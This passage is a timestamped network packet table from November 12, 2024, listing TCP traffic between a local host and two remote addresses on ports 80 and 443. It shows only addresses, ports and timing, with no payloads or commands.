Nov 12, 2024 06:23:36.865009069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865014076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865055084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865056992 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865056992 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865061045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865073919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865103960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865113974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865119934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865132093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865137100 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865160942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865171909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865179062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865180969 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865237951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865243912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865255117 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865256071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865268946 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865283966 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865303993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865308046 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865309954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865323067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865323067 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865331888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865336895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865344048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865396976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865402937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865406990 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865410089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865417004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865431070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865494013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865520954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865531921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865537882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865544081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865554094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865566015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865585089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865590096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865597010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865597010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865602970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865609884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865644932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865658045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865664959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865675926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865679026 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865684986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865705967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865731955 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865747929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865750074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865772009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865789890 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865845919 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.865926981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865935087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865941048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865946054 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865952969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.865961075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.866029978 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.866029978 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.866147041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.866152048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.866168022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.866173983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.866179943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.866185904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.866192102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.866195917 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.866197109 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.866213083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.866239071 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.888732910 CET	443	54562	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.889242887 CET	54562	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.889256001 CET	443	54562	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.889652967 CET	54562	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.889657021 CET	443	54562	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.906455994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.906461954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.906472921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.906534910 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.909869909 CET	443	54563	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.910279036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910311937 CET	54563	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.910332918 CET	443	54563	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.910339117 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.910362005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910367012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910372019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910377979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910382032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910388947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910403013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910403013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.910408974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910414934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.910425901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.910451889 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.910660028 CET	54563	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.910665035 CET	443	54563	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.940016031 CET	443	54559	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.940032959 CET	443	54559	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.940073013 CET	443	54559	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.940083027 CET	54559	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.940124035 CET	54559	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.940386057 CET	54559	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.940396070 CET	443	54559	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.940407038 CET	54559	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.940412998 CET	443	54559	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.943254948 CET	54568	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.943289995 CET	443	54568	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.943373919 CET	54568	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.943578959 CET	54568	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.943591118 CET	443	54568	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.950520992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.950589895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.950596094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.950608015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.950614929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.950618982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.950623989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.950634956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.950656891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.950686932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.957504988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.957513094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.957524061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.957530022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.957536936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.957547903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.957554102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.957556963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.957561016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.957609892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.963923931 CET	443	54560	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.963975906 CET	443	54560	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.964040041 CET	54560	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.964121103 CET	54560	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.964133024 CET	443	54560	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.964142084 CET	54560	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.964148045 CET	443	54560	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.966558933 CET	54569	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.966595888 CET	443	54569	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.966679096 CET	54569	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.966825962 CET	54569	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.966845036 CET	443	54569	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.978024960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978043079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978048086 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978096008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978096962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978096962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978101969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978108883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978115082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978140116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978142977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978147984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978153944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978158951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978163004 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978202105 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978203058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978347063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978400946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978431940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978437901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978449106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978461981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978466988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978477001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978482008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978492022 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978499889 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978513956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978518963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978528976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.978543997 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.978555918 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979423046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979441881 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979450941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979474068 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979523897 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979566097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979573965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979579926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979584932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979593039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979604959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979604959 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979625940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979641914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979667902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979674101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979685068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979691029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979701042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979706049 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979713917 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979718924 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979736090 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979758024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979789019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979795933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979805946 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979811907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979819059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979826927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979837894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979856968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979856968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979887009 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.979897022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979903936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979912996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.979953051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980047941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980053902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980065107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980129957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980190992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980197906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980209112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980214119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980220079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980226040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980237007 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980242968 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980251074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980262041 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980269909 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980298042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980309010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980334997 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980348110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980355978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980357885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980361938 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980395079 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980428934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980434895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980448008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980496883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980503082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980530024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980540991 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980587006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980592012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980602980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980607033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980614901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980629921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980638027 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980647087 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980654001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980659008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980669975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980674982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980680943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980681896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980699062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980700016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980706930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980719090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980727911 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980750084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980756044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980757952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980762005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980768919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980788946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980803013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980845928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980853081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980856895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980863094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980869055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.980880022 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980911016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.980954885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981040001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981059074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981065035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981076956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981081963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981087923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981095076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981117010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981152058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981156111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981158018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981169939 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981175900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981188059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981194019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981195927 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981220961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981251001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981273890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981281042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981292009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981297970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981308937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981326103 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981360912 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981388092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981395006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981405020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981410027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981416941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981421947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981432915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981439114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981447935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981447935 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981452942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981461048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981466055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981475115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981491089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981498003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981520891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981544018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981544971 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981551886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981586933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.981615067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981620073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.981661081 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.021656990 CET	443	54562	13.107.246.45	192.168.2.5
